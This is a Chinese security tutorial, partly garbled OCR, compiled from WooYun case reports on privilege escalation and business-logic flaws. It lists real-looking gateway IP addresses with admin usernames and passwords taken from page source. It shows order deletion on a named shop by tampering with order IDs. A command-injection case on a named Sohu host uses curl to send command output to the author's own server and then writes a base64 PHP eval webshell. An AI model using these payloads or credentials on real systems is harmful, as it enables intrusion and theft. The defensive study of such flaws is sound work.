▶ 应用协议组	用合料準		
ト 时间组	нла		
⊢ URL库管理	用户名	telecomadmin (1-32)位字符	
▶ 证书管理	密码	••••••••(4-32)位字符	
▶ 用户管理	确认密码	(4-32)位字符	
▶ 常用端口	用户权限	普通用户	
	开通业务	□ 网络U盘 - 访问权限: ● 读写 □ 只读	
	Webibiol#088		
	1.00 () () () () () () () () () () () () ()		
	0100	保存 返回	
	L		应用设置

查看源码,可读取 telecomadmin 密码: telecomadmin 34224223,至此已获得最高管理员权限,可以完全对该设备进行操作

文件(E) 编辑(E) 查看(	(⊻) 历史(S) 书签(B) 工具(I	) 帮助(11)	<u>_[@]</u>
对象管理	× +		
<ul> <li>Initial (1)</li> <li>Initial</li></ul>	cgi-bin/webif/Objset-users.sh?e	dituser=edituser&id=4	マ ピ 🔍 機索 🏠 🍐 🛊 🔺 🦧 🥐 マ 🌚 🚍
】阿弥古xwg.net.cn角为A1… INT       ●   SQL	· Ⅲ nd5在线查询破解,md5… 🥐 - XSS+ Encryption+ Encoding	101.231.165.66\$9IP 🗌 👷	象官理
E Logd URL http://	/101.231.147.81/cgi=bin/webif/0	bjset-users.sh?edituser=ed;	
5 Split URL			文件 医 编辑 医 查看 U 帮助 田
D Egecute Enab 学校員也信 変形版本で現象 天	ble Fost data 「 Enable Referr 受 資変術 天翼宽带政企	eer 网关A8-B	125      125      126 用户名〈/td〉 126 用户名〈/td〉 127 <input disabled="" id="username" name="username" size="" type="text" value="telecomadmin"/> (1-32)位字 128 〈/td〉          128 〈/td〉          129 〈tr〉           129 〈tr〉
对象管理 1. 应用执论组	设备概览 网络配置 对象管理 >> 对象管理 >> J	上网行为管理 对象管理 用户管理	130 131 <input id="userpwd" name="userpwd" type="password" value="telecomadmin34224223"/> (4-32)位字符 132
<ul> <li>ト 时间组</li> <li>ト URL库管理</li> </ul>	用户配置	telecomadmin	133      133      134 width="20%">确认密码     width="80%" colspan=""> 134 确认密码     //d>>/d>       135 <input id="owd ngain" ngmg="owd ngain" type="onasymord" ynlue="telecomadmin34224223"/> (4-32)位字符
ト 证书管理	密码	••••••	136
▶ 用户管理	确认密码	••••••	137 〈tr〉
▶ 常用減口	用户权限	普通用户 💌	130 id="level" coispan= / 139 <select id="level" name="level" style="width:px"></select>
	开通业务	□ 网络U盘	140 <option value="useradmin">普通用户</option>
	Webifial和限	↓ VPN	141 <option value="business">业务用户</option>
	*************************************	白田 🗸	143 <b>(tr</b> )
	is one.	保存返回	144 〈td width="20%">开通业务           145 〈td width="80%" colspan="2">

## 为什么说是垂直越权呢,看看下图就知道了



#### 101.231.147.42 telecomadmin telecomadmin23464565

文件(E) 编辑(E) 查看	(V) 历史(S) 书签(B) 工具(T) 帮助(8	Ð	_ <u>_</u> ]\$]X
	× (+		
<b>C</b> 101. 231. 147. 42/	cg1=bin/webi1/Objset=users.sh?edituser=e	dituser&id=4	
2 网络txwg.net.cn的A1…	• 🏬 md5在线查询破解,md5… 🚹 101.231.	165.66的IP… 〇 对象管理	
INT 💌 🗕 🌢 SQ	L* XSS* Encryption* Encoding* Other*		
a Logd URL http://	/101.231.147.42/cgi-bin/webif/0bjset-uses	rs.sh?edituser=edituser&id=4	● 策: http://101.231.147.42/cgi=bin/webif/0bjset=users.sh?edituser=edituser#id=4 - mozill.
<u>Split URL</u>			文件 ④ 编辑 ④ 查看 ① 帮助 ④
Execute			name-nicuseric id-nicuseric value- $4/7$
Enal	ble Post data 🔲 Enable Referrer		name- nigusername 1g- nigusername value- telecomagmin //
() A B b ct	0		trong>
CHINA TELECOM	天翼宽带政企网关A	8-B	itent">
世界放子可及 天	濃定带		mary="Settings">
	设备概览 网络配置 上网行为	管理 对象管理 网络安全 3G 🗌	系 (+1)(+1 -: 1+1-"000" 1"")
日 対象管理	对象管理 >> 对象管理 >> 用户管理		ta/ta wiatn- 60% coispan- / 
▶ 应用协议组	田 合称(第		
ト 时间组	нла		
+ URL库管理	用户名	telecomadmin (1-32)位字符	l>
▶ 证书管理	密码	•••••• (4-32)位字符	e="password" name="userpwd" value="telecomadmin23464565" /> (4-32)位字符
▶ 用户管理	确认密码	••••••• (4-32)位字符	
ト 常用端口	用户权限	普通用户 💌	\(/td>\td width="80%" colspan="">
	开通业务	□ 网络U盘 访问权限: ◎ 读写 ○ 只读	/pe="password" name="pwd_again" value="telecomadmin23464565" /> (4-32)位字符
		□ VPN	
	Web访问权限	允许 ▼	
	状态	启用 💌	<pre>width="80%" colspan=""&gt;// if (1) = 10 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)</pre>
		保存 返回	1d= level name= level / in")善语田白(/ontion)

#### 101.231.147.193 telecomadmin telecomadmin27040721



101.231.147.233 telecomadmin telecomadmin13173303

<b>( (</b> ) 101, 231, 147, 23	3/csi-bin/webif/Obiset-users.sh?edituser=e	ituser&id=4	
		s cohra	
This	V VSS Proventions Provident Others	5.00的11 () (N京昌理	
	L. ASS Encryption Encoding Other		
() Load UKL http:/	/101.231.147.233/cgi=bin/webif/Objset=user	s. sh?edituser=edituser&id=4	4
35 Split URL		◎源:	http://101.231.147.233/cgi-bin/webif/Objset-users.sh?edituser=edituser&id=4 - Mozilla Firefox
Egecute	_	又件低	D) 编辑(E) 查看(D) 帮助(B) \Input type= higgen name= higgserig ig= higgserig value= 4 //
Ens	ble Post data 🔲 Enable Referrer	120	<pre>(input type="hidden" name="hidusername" id="hidusername" value="telecomadmin" /&gt;</pre>
● 中国电信	Or		<div class="settings"></div>
CHINA TELECOM	天翼宽带政企网关A8	-B 122	<h3><strong>用户配置</strong></h3>
2 · 8 放子可及   2		123	<pre>(div class="settings-content")</pre>
	设备概见 网络配置 上阿汀为宿	理 対象管理 124	
日 对象管理	对象管理 >> 对象管理 >> 用户管理	125	(TE7): / x4 m: 14k=**00%**>田白タノ/x4、/x4 m: 14k=**20%** apl app=***>
▶ 应用协议组		120	、 tu wittin=20% /m)~円、 ture="revi;" name=""uevname" value="telecomadmin" size="" disabled() (1-32)な
ト 时间组	用尸配置	128	(102) [ (102)]
ト URL库管理	用户名	telecomadmin 129	$\langle tr \rangle$
ト 证书管理	密码		〈td width="20%"〉密码
F 用户管理	确认密码	131	<input id="userpwd" name="userpwd" type="password" value="telecomadmin13173303"/> (4-32)位字符
ト帝田端口	田白枳園	第通用户▼ 132	
· 100440-	开通业务	□ 网络U盘 访问 133	( 117 ) ( 11 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1
	1.1 million P.P.	□ VPN 135	、ta wiath-20% 2時後後1時にはないないはath-00% colspan-2 (input id="man decaip" the construction and th
	Web访问权限	☆许▼ 135	(induction program type password name program value terecommunitations) // (4.32/12/74
	状态	EB ▼ 137	$\langle tr \rangle$
		保存 返回 138	〈td width="20%"〉用户权限〈/td〉
		139	<pre><select id="level" name="level" style="width:px"></select></pre>
		1.40	(antian welua-"unavedmin")等通田白//antian)

101.231.147.241 telecomadmin telecomadmin32126325

▼ ^{X19× B4} 至	~ (w		
<b>(</b> ) 101. 231. 147. 241/	cgi-bin/webif/Objset-users.sh?edituser=e	lituser&id=4	▼ ℃ Q 搬索 ☆ 自 🖡 🎓 🛷 👻 🗩 🗩 🗩 🗩
INT ■ ● SQL	■ md5在线查询破解,md5… 🕐 101.231.16 • XSS• Encryption• Encoding• Other•	5.66的IP… 🗌 对象管理	
Calie URL http://	101.231.147.241/cgi-bin/webif/Objset-user	s.sh?edituser=edituser&id=	4
Brente			●凝: http://101.231.147.241/cgi-bin/webif/Objset-users.sh?edituser=edituser&id=4 - Mozilla Firefox
Enab	le Post data 🔽 Enable Referrer		文件(19) (編輯(12) 変番(13) 初助(10) 122 (h3) <strong>用户配置</strong>
	→ 天翼宽带政企网关A8 愛愛拼 设备報約、 网络配置 上网行为管理 对象管理 >> 对象管理 >> 用户管理	- B 理】 対象管理 】 网络	123 (div class="settings-content") 124 (table width="100%" summary="Settings") 125 (tr) 126 (td width="20%")用户名(/td) 127 (input id="username" type="text" name="username" value="telecomadmin" size="" disabled/) (
▶ 应用协议组 ▶ 时间组	用户配置		128 〈/td〉          129 〈/td〉         ************************************
ト URL库管理 ト 证书管理	用户名 密码	telecomadmin	100 clu wither=200 /由yey(th/clu wither=000 corpone=// 111 cinput id="userpwd" type="password" name="userpwd" value="telecomadmin32126325" /> (4-32)位 ² 132 c/td>//tr>
▶ 用庁管理 ▶ 常用端口	編以密码 用户的限 开通业务 Web访问取限 状态	ぎ通用户 ▼     □ 网络U盘 访问权限:     □ VPN     ☆び ▼     倉用 ▼     保存 近回	<pre>133  134 确认密码 </pre> 135 <input id="pwd_ggain" name="pwd_ggain" type="password" value="telecomadmin32126325"/> (4-32 136    135  (input id="pwd_ggain" type="password" name="pwd_ggain" value="telecomadmin32126325" /> (4-32 136    136  (td>>/td>  137   138  select style="width:px" id="level" name="level" >   139  select style="width:px" id="level" name="level" >   130  140    140  coption value="useradin">#id=  p<(option)
			141 <option value="business">业务用尸</option> 142

b. 水平越权(水平越权是指相同权限的不同用户可以互相访问) (wooyun-2010-0100991 PHPEMS 多处存在水平权限问题)

案例:麦乐购可大批量删除他人购物订单(水平越权一)

越权查看订单,修改个人信息等做了限制。但是还是可以操作的,也可批量 谷歌 火狐两个账号 来测试,

详细说明:

可成功删除另一个账号订单,也可以批量删除。

谷歌

	, y		when him a proof proof from other and a going going and				关闭
	全球优质进口如	乃粉 😤	宝妈,别图便宜,宝宝3	2全≠试验	ìШ! 🀅 📓		
•	,下午好,欢迎来;	是乐购! 退出		我的麦乐购 ~	★ 收藏麦乐购	赚钱计划 🛭 🧇 满188	包邮 400-666-660
		'tst'	请输入商品名称,支持拼音搜索	搜索	📹 🗭 手机下单,有作	^{讀!} 亲 ⁻	子出游记 📙 🕵
		9—切	热门关键词: <mark>牛栏 花王</mark> 美素 爱他美 karicare	書宝		長期	次49元抢
	5						
	全部商品分类	首页正	品保证 限时抢购 海外直邮 免税店专区	精品特实 热销	衔		共0件商品 去结算▶
	我的账户 > 订单管理						
		我的	订单 积分兑换 和 和 和 和 和 和 和 和 和 和 和 和 和 和 和 和 和 和 和				
	帐户管理		帝日	15-65-1	江前今期	江麓快去	場在
	我的订单			收卖八	同十五級	11+000	28.11
	帐户余额	订单号: 2	01504141313083880				2015/4/14 13:13:08
	我的代金券		新西兰惠氏机粉Wyeth S26金装 4段(2岁以上)900g	(海外 小红帽	¥197.00	新订单	去支付
	我的满减券	- A			在线支付	订单详情	取消订单
	退货管理		2012: 四接(23-67-1) 如用: 300g, 四乘: 雕				上传证件
	幸运刮刮卡						
	我的积分						
	我的会员积分						
	初八台接去应						
	积万元换专区						
	妈妈赚钱计划						
	妈妈赚钱计划						www.woo

6 Summing com/	nv/orderlist do	于建市 联通 Lianiin		V - x	🔇 * Google 2011-Ks	Q	◇ 白 上 ◇ ◆	· ti · 🦨 (
G mmmanogo.com/m	·····································	Li zamo ave manjin		我的麦乐购 ~	<ul> <li>★ 收藏表乐购 </li> </ul>	)赚钱计划  🙀 第188†	al 400-666-6600	
	-						. 2	
	麦乐咖 进口母婴商城	请输入商品名称支	特拼音搜索	搜索	💼 👘 手机下单,有	^{惊喜!} 亲子 爆款	出游记	82%
	M6go.com 给宝宝最好的一切	· · · · · · · · · · · · · · · · · · ·	美索 宏怡美 Kancare 藝玉			-		
	全部商品分类 我的帐户 > 订单管理	首页正品保证限时抢购海线	N直邮 免税店专区 精品料	寺卖 热销排	桁		+0件商品 去结算▶	
		我的订单积分别	<del></del> θ					
	11111111111111111111111111111111111111	商品		收货人	订单金额	订单状态	操作	
	找的17 里 帐户余额	订单号: 201504141215124410					2015/4/14 12:15:12	
	我的代金券	贝安宝Beloved Baby车载川 苔鱼	童安全座榜暮光系列 BAB001-T1	李大白	¥1977.00	已取消	再买一次	
	我的满减券	颜色: 天蓝			17327414	刘率仲间	000 tr 1 44	
	幸运刮刮卡	容威养生壶 OMT-YS118 规格: 台						
	我的积分							
	我的会员积分							
	积分兑换专区 妈妈赚钱计划							
	<b>一 我的东</b> 日							
	写商品评论							
	我的评论						WWW.WOO	byun.org
C Remain mino com	/mv/orderlist.do	天津市 联通	5				Burp Suite	Professional v
C C C	·····································	退出	Burp Intruder F	Repeater	Window He	elp		
			Target Proxy	Spider	Scanner In	truder Rep	eater Sequenc	er Deco
	<b>差乐</b> 阶 进口母婴商制	<b>成</b>		P histon	/ WebSock	ets history	Ontions	
	M6go.com 给宝宝最好的	一切 热门关键词: 牛		1 History	Vebbook			
	全部商品分类	首页正品保证限时抢败	Request to	http://ww	ww.m6go.co	m:80 [60.28	3.220.134]	
	我的帐户 > 订单管理		Forward	) [ C	Drop	Intercept is	on Action	
		我的订单	Raw Params	Headers	s Hex			
	帐户管理	10013VJ	E%3d&FrontUr1=	BWFrp1 i8	SPY9La2geT8I	00MbZRB1Yta	1dvMvBvr72Ivx7	acP6FkUf
	我的订单		nTalk_CACHE_DA	TA={uid:	kf_9925_ISM	ME9754_7642	35,tid:1428978	82638152
	帐户余额 	订单号: 2015041412151244	pgv_pvi=938694	8608; pg	gv_si=s19228	503680; hid	eAd=none; ASP.	NET_Sess
	我的满减券	贝安宝Beloved Bat 蓝色 新品·干技	_jzqb=1. 46. 10.	14289840	)23.1; daigo	ou= <mark>UserId</mark> =7	64235&F1ag=7a9	4367; mil 3addc6c0
	退货管理	容成差生壶 OMT-YS	productHrefLin	k=%7B%22	2position%22	2%3A%22%E7%	89%B9%E4%B9%B0	%E5%9C%B
	幸运刮刮卡	题 规格: 台	onNo%22%3A%223 MallVisited=Ma	%22%2C%2 11Recent	2product1d%	%22%3A%2211 ods=7cGE0G	086%22%2C%22pr ±MSAA%3d•	ice%22%3
	我的积分		_qzja=1.171509	7672.142	28978825861.	1428978825	862. 1428984023	371. 1428
	我的会员积分		_qzjb=1.142898	4023371.	44. 0. 0. 0;	_qzjc=1; _q	zjto=55.2.0; C	heckOutG
	积万元换专区		Pragma: no-cac	ep alive he	2			
			Cache-Control:	no-cach	[™] 此处修改	(谷歌另一	个账号的订单	编号
	写商品评论 		orderId=201504	14191519	24410			
	我的评论		orderru 201001	11121012	21110		www.woo	yun.or
	diventing and a							
← → C 🗋 www.	.m6go.com/my/orderlist.do							
	全球优质进口奶粉	💈 宝妈,别图	便宜,宝宝安3	全≠试乳	<b>☆⊞! ***</b> *		关闭	
	·····································	4: 退出		我的麦乐购	~ ★收藏麦乐购 203	周炯赚钱计划 💊 荊1	88包邮 400-666-6600	
					<b>.</b>		a 👗	
	麦乐购世田母婴商城	请输入商品名称3	Σ持拼音搜索 ≖ 美妻 妥他美 karicare 言字	搜索	● 👘 手机下单,	有惊喜! ·	表子出游记 新49元抢	82
	Mbgo.com ======		T SEM STICK MUMANO ASS			-		
	全部商品分类	首页 正品保证 限时抢购 海	的直邮 免税店专区 精品	品特卖 地 热销	<b>辦行</b>		共0件商品 去结算)	I.
	我的账户 > 订单管理							
	业合签理	我的订单积分外	<del>能换</del>					4
	1000000000000000000000000000000000000	ı Řı	2	收货人	订单金额	订单状态	操作	
	帐户余额							-
	我的代金券							
	退货管理							
	幸运刮刮卡							
	我的积分							
	我的会员积分							
	积分兑换专区							
	我的商品 写商品评论						WWW.WOO	oyun.org

#### c. 《我的越权之道》URL: http://drops.wooyun.org/tips/727

0x00 越权漏洞

越权漏洞是 Web 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。

0x01 分析可能存在越权的位置

上面说过了只要对数据库进行增、删、改、查询的情况都可能存在越权。我们来看一般我们 在 web 应用开发时操作数据库常会出现的一般语句:

增加:

insert into tablename values(一些字段) where userid/username=12345/用户名

参考例子:

http://www.wooyun.org/bugs/wooyun-2010-033542

删除:

delete from tablename where id=123

参考例子:

http://www.wooyun.org/bugs/wooyun-2010-039358

更改:

update 一些字段 tablename set 一些字段 where userid/username=12345/用户名

参考例子:

http://www.wooyun.org/bugs/wooyun-2010-036411

查询:

select * from tablename where id=12345

参考例子:

http://www.wooyun.org/bugs/wooyun-2010-033748

本人不做开发, sql 语句比较弱,大牛勿喷,此处只是为了说明问题。大家可以看到,以上 语句都涉及 where,而后面的 userid 或 username 即是越权的突破口。在操作数据库时功能 请求中往往会带着一些参数来用于辨别信息的唯一值。而这些参数就是我们越权时需要注意

#### 的。

在 web 开发中判断用户身份的字段往往是不会在客户端传递的。用户登录系统后,开发人员 一般会创建一个 session 来保存用户名。当用户在查看、修改个人信息等需要判定用户身份 时,就直接从 session 中获取,而不会在客户端传递,也就避免了篡改。但若出现从客户端 传递的话,那么就必须要有一步权限验证的要求了。所以在测试越权时要用抓包工具截获请 求,细览下可能存在辨别信息的唯一值,来进行测试。这里要说一点,传输的参数并不一定 在请求参数中,也有可能存在链接等位置。

如:

http://www.wooyun.org/bugs/wooyun-2010-031826

有人可能开始抱怨,请求中那么多参数、而且还可能存在一个请求需要多个辨别参数的可能, 再加上链接中也有可能,这也太难找了。现提供一个方法可以轻松让你知道哪里存在越权。 喜欢玩 XSS 的人定会恍然大悟。

0x02 测试越权技巧

相信越权的成因大家都已经理解了,哪些功能可能存在越权大家也心里也有谱了。接下来就是测试了。相信这才是大家最想看的,王尼玛同学是如何高效测试越权的?

看官莫急,先看基础测试方法:要测试越权需要注册两个账户,来互相探测能否影响到对方数据。方法很简单打开两个不同的浏览器,大小号账户各自登录一个不同浏览器。

步骤一:

打开 fiddler2 按 f11,截断大号上更新用户信息请求。(查看参数可以选择 fiddler 中 Inspects 下的 WebFroms 或 TextView。只有在截断的情况下,才可以修改请求。)判断出可能辨别用户身份的参数 ulogin。

步骤二:截断小号浏览器中更新用户信息的请求

步骤三:将小号中 ulogin 的参数值替换为大号的,然后解除 fiddler 截断(shift+f11),将请求放过去(),查看下大号用户信息是否更改。

以上即是常规的测试方法。大家可以看到消耗时间的麻烦在辨别参数上、对比大号和小号请 求有何不一样的参数值上、切换浏览器查看数等等。如果遇到更改删除等功能,还要两端各 自新建出数据、查看 id 等等、麻烦的要死。

为了避免以上消耗时间的操作其实可以利用 fiddler2 复制小号浏览器中的 cookie 值,到大号的请求中即可验证越权。操作就是用 fiddler 先截获一个小号的访问目标站点的请求,在 fiddler2 的 head 标签下将 cookie 复制出来

小号的浏览器就可以不用管了,用 Fiddler2 截断大号的请求,把小号的 cookie 覆盖大号的 cookie,进行测试。如果改变了大号的数据则说明越权,然后在分析是哪个参数造成的。如 果未改变,则说明不存在越权,该功能直接越过。小号的 cookie 一直在剪贴板中的,所以

在测其他功能会非常方便。用不了多长时间,即可测试完整个站点下的功能。

我们来看这个方法的优点:

1 不用去辨别哪个参数是辨别身份的;
 2 不用两个账户同时去创建数据;
 3 不用去查看小号 id;
 4 单浏览器即可测试,免去切换浏览器的烦恼。

这就是我常用的方法,个人感觉已经很高效了,是不是觉得跟 XSS 窃取了 cookie 后劫持浏 览器的感觉一样?但是此方法并不是对所有站点都起作用,有时你会发现小号会把大号挤出 去进入大号的浏览器或者登陆状态消失,直接退出。具体什么原因造成的,我现在还不太清 楚,估计是服务器端有对 cookie 的判断吧,希望大牛们能给出合理的解释。不过在测试大部分站点时此方法还是很好用的。顺便说一下 Fiddler2 是一个非常好用的抓包工具,熟练 使用这个工具也是测试越权时的必要技能。

案列: 搜狐某站点隐式命令注入 Getshell

搜狐某站点隐式命令注入 getshell,本篇介绍利用 HTTP request 回显命令的基本方法

命令注入点:

http://ldd.sohu.com/d/?c=c&r=\$(curl
http://www.lijiejie.com:52016/?hostname`)

参数 r 可以注入 Linux 命令。上述链接是我将 hostname 通过 curl 打回 web server。

可以看到, pwd = /var/www/ldd/d

在我的 VPS 上启动一个 web server:

code 区域 python -m SimpleHTTPServer 52016

然后在漏洞站点上执行:

code 区域

```
http://ldd.sohu.com/d/?c=c&r=$(curl
http://www.lijiejie.com:52016/?command=`command`)
```

使用 curl 把命令执行结果打回 www.lijiejie.com:52016,印象中早期 URL 的长度限制是4096,差不多够我们用了。不过要注意的是,一些特殊字符必须编码之后才可以出现在参数中,比如换行\n,空格符这类。所以必须编码之后再附加到参数中。我们使用 base64 来编码。然而 base64 编码之后是有换行的,所以,我们还必须把 base64 命令输出的编码结果中的\n 替换掉,我这里使用自己常用的"[°]"符号。执行一个命令的链接是:

code 区域

```
http://ldd.sohu.com/d/?c=c&r=$(curl
http://www.lijiejie.com:52016/?ls_command=`ls /var/www/ldd -l|base64|tr '\n'
'^`)
```

以上我们执行了 1s /var/www/1dd -1,并把执行结果打回来, web server 收到:

code 区域

#### 220.181.19.102 - - [01/Apr/2016 21:29:48] "GET

/?ls command=dG90YWwgNDA0Ci1ydy1yLS1yLS0gMSByb290IGFwYWNoZSAgIDIwMDIgTm92ICA1IC AyMDA51F9s²ZGRhZG1pbi5waHAKLXJ3LX1tLX1tLSAxIHJvb3QgYXBhY2h1ICAgIDE3NSB0b3YgIDUg IDIwMDkg^{YXV0aGNoZWNrLnBocAotcnctci0tci0tIDEgcm9vdCBhcGFjaGUgICAyNDYwIE5vdiAgNS} AgMjAw^OSBhdXRoY29kZS5waHAKLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAgICAxNDI4NCB0b3YgMTEg MTY6^MDAgY29kZS5nYmsucGhwCi1ydy1yLS1yLS0gMSByb290IHJvb3QgICAgMTA3MDIgRmViIDEzIC Ay[^]MDE01GNvZGUuaHRtbAotcnctci0tci0tIDEgcm9vdCByb290ICAgIDE10DkyIEZ1YiAy0SAx0Doz MiBjb2R1LnBocAotenetciOtciOtIDEgcm9vdCByb290ICAgIDE1MDQwIEZ1YiAyOSAxMjoONSBj^b 2R1X2Jhay5waHAKLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAgICAxNTMwNyBGZWIgMjkgMTc6Mzcg²Y29 kZV9uZXcucGhwCmRyd3hyLXhyLXggMyByb290IHJvb3QgICAgIDQw0TYgTWFyIDMwIDE10jA2¹IGQKL XJ3LXItLXItLSAxIHJvb3QgYXBhY2h1ICAgMTE5MyBEZWMgMjMgIDIwMTAgaGVscHNvaHUu^YmF0CmR yd3hyLXhyLXggMiByb290IHJvb3QgICAgIDQwOTYgTm92IDEzIDE00jAzIG1tYWd1cwps^ccnd4cnd4c nd41DEgcm9vdCByb2901CAgICAgICA4IEZ1YiAyNCAgMjAxNCBpbmR1eC5waHAgLT4g^Y29kZS5waHA KZHJ3eHIteHIteCAyIHJvb3Qgcm9vdCAgICAgNDA5NiBOb3YgMTMgMTM6NDcganMK^LXJ3LXItLXItL SAxIHJvb3QgYXBhY2h1ICAxNDQ2NyB0b3YgIDUgIDIwMDkgay5waHAKLXJ3LXIt^LXItLSAxIHJvb3Q gYXBhY2h1ICAxNDkyMiBGZWIgMjEgIDIwMTQgbGRkLnBocAotenctciOtciOt[^]IDEgcm9vdCBhcGFja GUgMjM50DE01E5vdiAgNSAgMjAw0SBuby5qcGcKLXJ3LX1tLX1tLSAx1HJv^b3Qgcm9vdCAgICAgICA gMCB0b3YgMTEgMTI6NDEgbnVsbC5qcGcKLXJ3LXItLXItLSAxIHJvb3Qg[^]YXBhY2h1ICAgICA3MSB0b 3YgIDUgIDIwMDkgc3B1ZWQucGhwCi1ydy1yLS1yLS0gMSByb290IGFw^YWNoZSAgICAgIDAgTm92ICA 1ICAyMDA5IHNwZWVkLnR4dAotcnctciOtciOtIDEgcm9vdCByb290¹CAgICAyNDYwIEZ1YiAyNiAgM jAxNCBzdH1sZS5jc3MKLXJ3LXItLXItLSAxIHJvb3QgYXBhY2h1^ICAgIDIzNCB0b3YgIDUgIDIwMDk

gdXBsb2FkLnBocAotenetciOtciOtIDEgcm9vdCBhcGFjaGUg^IDEzNjIyIE5vdiAgNSAgMjAwOSB6c HkucGhwCg==^ HTTP/1.1" 301 -

将参数 ls_command base64decode 之后,得到:

code 区域

total 404

-rw-r-	r	1	root	apache	2002	Nov	5	2009	_lddadmin.php
-rw-r-	r	1	root	apache	175	Nov	5	2009	authcheck. php
-rw-r-	r	1	root	apache	2460	Nov	5	2009	authcode.php
-rw-r-	r	1	root	root	14284	Nov	11	16:00	code. gbk. php
-rw-r-	r	1	root	root	10702	Feb	13	2014	code.html
-rw-r-	r	1	root	root	15892	Feb	29	18:32	code. php
-rw-r-	r	1	root	root	15040	Feb	29	12:45	code_bak. php
-rw-r-	r	1	root	root	15307	Feb	29	17:37	code_new.php
drwxr-	-xr-x	3	root	root	4096	Mar	30	15:06	d
-rw-r-	r	1	root	apache	1193	Dec	23	2010	helpsohu.bat
drwxr-	-xr-x	2	root	root	4096	Nov	13	14:03	images
lrwxrv	wxrwx	1	root	root	8	Feb	24	2014	index.php -> code.php
drwxr-	-xr-x	2	root	root	4096	Nov	13	13:47	js
-rw-r-	r	1	root	apache	14467	Nov	5	2009	k. php
-rw-r-	r	1	root	apache	14922	Feb	21	2014	ldd. php
-rw-r-	r	1	root	apache	239814	Nov	5	2009	no. jpg
-rw-r-	r	1	root	root	0	Nov	11	12:41	null.jpg

-rw-rr 1 root apache	e 71 Nov	5	2009 speed. php
-rw-rr 1 root apache	e O Nov	5	2009 speed.txt
-rw-rr 1 root root	2460 Feb	26	2014 style.css
-rw-rr 1 root apach	e 234 Nov	5	2009 upload.php
-rw-rr 1 root apache	e 13622 Nov	5	2009 zpy.php

我找到了一个可写的目录:

code 区域

drwxrwxrwx 2 root root 4096 Nov 13 15:25 log

写了个 webshell:

code 区域 http://ldd.sohu.com/d/?c=c&r=\$(echo "PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10p0z8+Cgo=" |base64 -d >/var/www/ldd/d/log/x.php)

🛅 /var/www/ldd/d/lo	og/			±	✓ 读取
220, 181, 19, 102	目录(0),文件(8)	名称	时间	大小	属性
3 🧇 /		borui3g.log	2015-11-13 15:02:23	157748	0644
🖃 🧰 var		ok2.txt	2015-11-12 14:13:44	77748	0644
🖂 🖾 www		borui3g.txt	2015-11-13 15:25:53	30961	0644
🖂 🔂 1dd		getdns1.log	2015-11-13 14:04:51	297716	0644
🗆 🗔 d		💽 e.pl	2015-11-12 14:11:48	878	0644
	2 Log	getdns.log	2016-04-01 22:17:29	645698	0644
		ok 📄	2015-11-12 13:36:25	61138	0644
		💽 x.php	2016-04-01 22:18:18	39	0644
			14/14/14/	WOOV	in or

可以访问 oa. sohu-inc. com:

code 区域

[/var/www/]\$ ping -c1 10.2.176.87

PING 10.2.176.87 (10.2.176.87) 56(84) bytes of data.

64 bytes from 10.2.176.87: icmp_seq=1 ttl=124 time=1.49 ms

---- 10.2.176.87 ping statistics ----

1 packets transmitted, 1 received, 0% packet loss, time Oms

rtt min/avg/max/mdev = 1.497/1.497/1.497/0.000 ms

修复方案:

过滤

#### 2.8 业务流程乱序

#### 2.8.1 顺序执行缺陷

- a. 部分网站逻辑可能是先 A 过程后 B 过程然后 C 过程最后 D 过程。
- b. 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。

案例: 万达某分站逻辑错误可绕过支付直接获得取票密码

详细说明:

漏洞存在于海棠.秀 http://mp.haitangshow.com/ 随便注册了个号、13815825654 然后登录进去购票、这票还挺贵的,在海南三亚?? 屌丝去不了... 先选择时间、然后点击 【选坐购票】、(ps:屌丝选了最贵的座位,纯属意淫)



然后点击【订票】、这里没我们要关心的,最后来到信息确认页面、 点击网上支付并且抓包、要逆袭了... 最后一个参数值改成 00:

。应用 [	〕迷你轰炸台 - 短信…	ME 未命名 关注互联网··· SPIRAL SHOW 海家	🚺 Exploits Databa:	mp.haitangshow.com 上的 当您成功操作完 <u>网上支付</u> 后,请约	的网页显示: ×	( ) 凭想 ideaclub 互…	XSS Platform
		2014年1月2日星期四	首页	会目动给出您的収票密码。	确定	ば単	<b>注销 138158</b>
		演出名称				时间	熏价
		海棠·秀 2014-1 (1楼 19排 2座)	-11 19:00			2014-01-11 19:00	350元
						总计:	350元
	•	修改订单或重新	新选择座位, 请 点击这些	1			
				接收者信	息		
		姓名:	李浩	*(与身份证姓名一發	(), 不需要填身份证号 ) (	(* <b>为</b> 必填项) WWW.	wooyun.org

intercept options history
request to http://mp.haitangshow.com:80 [60.10.8.103]
forward drop intercept is on action
raw params headers hex
<pre>POST / otherorder/ HTP/1.1 Host: mp.haitangshow.com Proxy-Connection: keep-alive Content-Length: 283 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://mp.haitangshow.com User-Agent: Mozilla/S.0 (Windows NT 5.1) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/S37.36 Content-Type: application/x-www-form-urlencoded Referer: http://mp.haitangshow.com/submit_shopping Accept-Encoding: gzip.deflate,sdch Accept-Language: zh=CN,h;q=0.8,en;q=0.6,zh=TW;q=0.4 Cookie:utma=216089743.1385908674.1388643914.1388642320.1388643914.3; utmb=216089743.1.10.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; 